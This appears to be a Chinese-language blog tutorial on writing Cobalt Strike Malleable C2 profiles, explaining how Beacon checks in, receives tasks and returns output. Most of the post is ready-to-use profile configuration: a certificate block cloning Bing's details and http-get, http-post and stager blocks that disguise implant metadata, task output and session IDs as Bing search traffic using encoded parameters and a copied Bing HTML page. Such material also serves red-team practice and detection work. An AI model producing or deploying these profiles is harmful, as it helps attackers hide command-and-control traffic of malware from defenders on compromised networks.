Cobalt Strike Malleable C2 介绍
Cobalt Strike Malleable C2 介绍
Malleable C2 是 Cobalt Strike 的一项功能, 意为 "可定制的" 的 C2 服务器. Malleable C2 允许我们仅通过一个简单的配置文件来改变 Beacon 与 C2 通信时的流量特征与行为.
对于我们的新配置文件,我们将首先配置HTTPS证书。填写HTTPS证书通常很简单:在浏览器中加载目标域,然后从合法证书中复制详细信息,
以下是在配置文件中配置Bing证书的语法:
1 2 3 4 5 6 7 8 | https-certificate { set CN "www.bing.com"; set O "Microsoft Corporation"; set C "US"; set L "Redmond"; set OU "Microsoft IT"; set ST "WA"; set validity "365"; |
HTTP-GET
处理实际的请求和响应,我们可以填写URI,标头,参数和输出格式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | http-get { set uri "/search/"; client { header "Host" "www.bing.com"; header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG"; metadata { base64url; parameter "q"; } parameter "go" "Search"; parameter "qs" "bs"; parameter "form" "QBRE"; } server { header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; output { netbios; prepend "<! DOCTYPE html>< html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\">< script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></ script >< head > <!--pc--> < title >Bing</ title >< meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" />< link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" />< link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" />< link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" />< script type=\"text/javascript\">//<![CDATA["; append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></ script >< style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,"; print; } } } |
我们从实际请求中分配基本URI,可以使用以空格分隔的URI列表为配置文件指定多个URI。Cobalt Strike在检入时将为每个主机随机分配URI。http-get和http-post之间的URL不能相同 ,所有URI必须唯一。但是,我们可以简单地更改一个字母的大小写以使URI不同,在header "key" "value";或parameter "key" "value";语法之后,添加header和parameter,需要在客户端部分发送给Cobalt Strike的关键数据是主机数据。我们可以将数据放在标题,参数,URI或请求正文中。如果将信息放在标头,参数或URI中,则需要对数据进行编码。Malleable C2提供四种数据编码类型:base64,base64url,netbios和netbiosu(大写)
1 2 3 4 5 6 7 8 9 10 11 | #base64 nqveOtUC+NlNAyHPVkSLMA== #base64url hf2D_5jHAA9ftoOe_ZY3zQ #netbios haklhhicanfeldpmgkefkhgjmhccgbmp #netbiosu HHHHGLGDJDELLEKFMDKAANJCLHIEFEMC |
除了编码,我们还可以在信息之前或之后添加字符串。Cobalt Strike从上到下解释命令,并在终止语句(我们在此处指定放置信息的位置)上进行处理。四个终止语句是:print,header,parameter和uri-append例如,在本部分的服务器部分中,我们配置响应以使用netbios编码Beacon任务,并将其插入从实际响应中拉出的长HTML字符串中。我们使编码后的任务看起来像Bing搜索结果中的一个值。在HTTP-GET服务器输出必须使用打印终止语句。
HTTP-POST
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | http-post { set uri "/Search/"; set verb "GET"; client { header "Host" "www.bing.com"; header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG"; output { base64url; parameter "q"; } parameter "go" "Search"; parameter "qs" "bs"; id { base64url; parameter "form"; } } server { header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; output { netbios; prepend "<! DOCTYPE html>< html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\">< script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></ script >< head > <!--pc--> < title >Bing</ title >< meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" />< link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" />< link href=\"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" />< link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" />< script type=\"text/javascript\">//<![CDATA["; append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></ script >< style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,"; print; } } } |
我们需要对http-post部分进行一些更改。需要使“搜索”以大写字母开头,从而使URI与http-get URI有所区别。我们还将HTTP更改为GET,而不是默认的POST。在这一部分中,我们有两个信息,信息必须返回到Cobalt Strike服务器:会话ID和任务输出。我们将base64url编码的任务输出放置在q URL参数中,在此我们配置了http-get来发送主机数据。我们以 URL参数形式发送的会话ID
HTTP-Stager
1 2 3 4 5 6 7 8 9 | http-stager { server { header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; } } |
此处正常设置header信息
#beacon与C2通信过程
当 Beacon 被执行后, 会在 C2 上下载载荷执行, Stage 过程,Stageless则无这一步骤,Beacon 根据设置的睡眠时间进入睡眠状态, 结束后向 C2 发送有关 Beacon 的信息如系统类型, 版本, 当前用户信息,为Metadata,如果存在待执行的任务, C2 就会响应发送 Metadata 的请求, Beacon 将会收到有关 Task 的具体内容和唯一的 Task ID, 并依次执行任务,执行完毕后, Beacon 将各 Task 回显的数据与对应的 Task ID 依次上传至 C2, 然后再次进入睡眠状态,其中 Beacon 发送 Metadata 时一般使用 GET, 上传回显数据时使用 POST。
#参考链接:
https://www.cobaltstrike.com/help-malleable-c2
https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/
本文来自博客园,作者:aoaoaoao,转载请注明原文链接:https://www.cnblogs.com/websecyw/p/12058098.html
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 聊一聊 操作系统蓝屏 c0000102 的故障分析
· SQL Server 内存占用高分析
· .NET Core GC计划阶段(plan_phase)底层原理浅谈
· .NET开发智能桌面机器人:用.NET IoT库编写驱动控制两个屏幕
· 用纯.NET开发并制作一个智能桌面机器人:从.NET IoT入门开始
· 20250116 支付宝出现重大事故 有感
· 一个基于 Roslyn 和 AvalonEdit 的跨平台 C# 编辑器
· 推荐一款非常好用的在线 SSH 管理工具
· 聊一聊 操作系统蓝屏 c0000102 的故障分析
· .NET周刊【1月第1期 2025-01-05】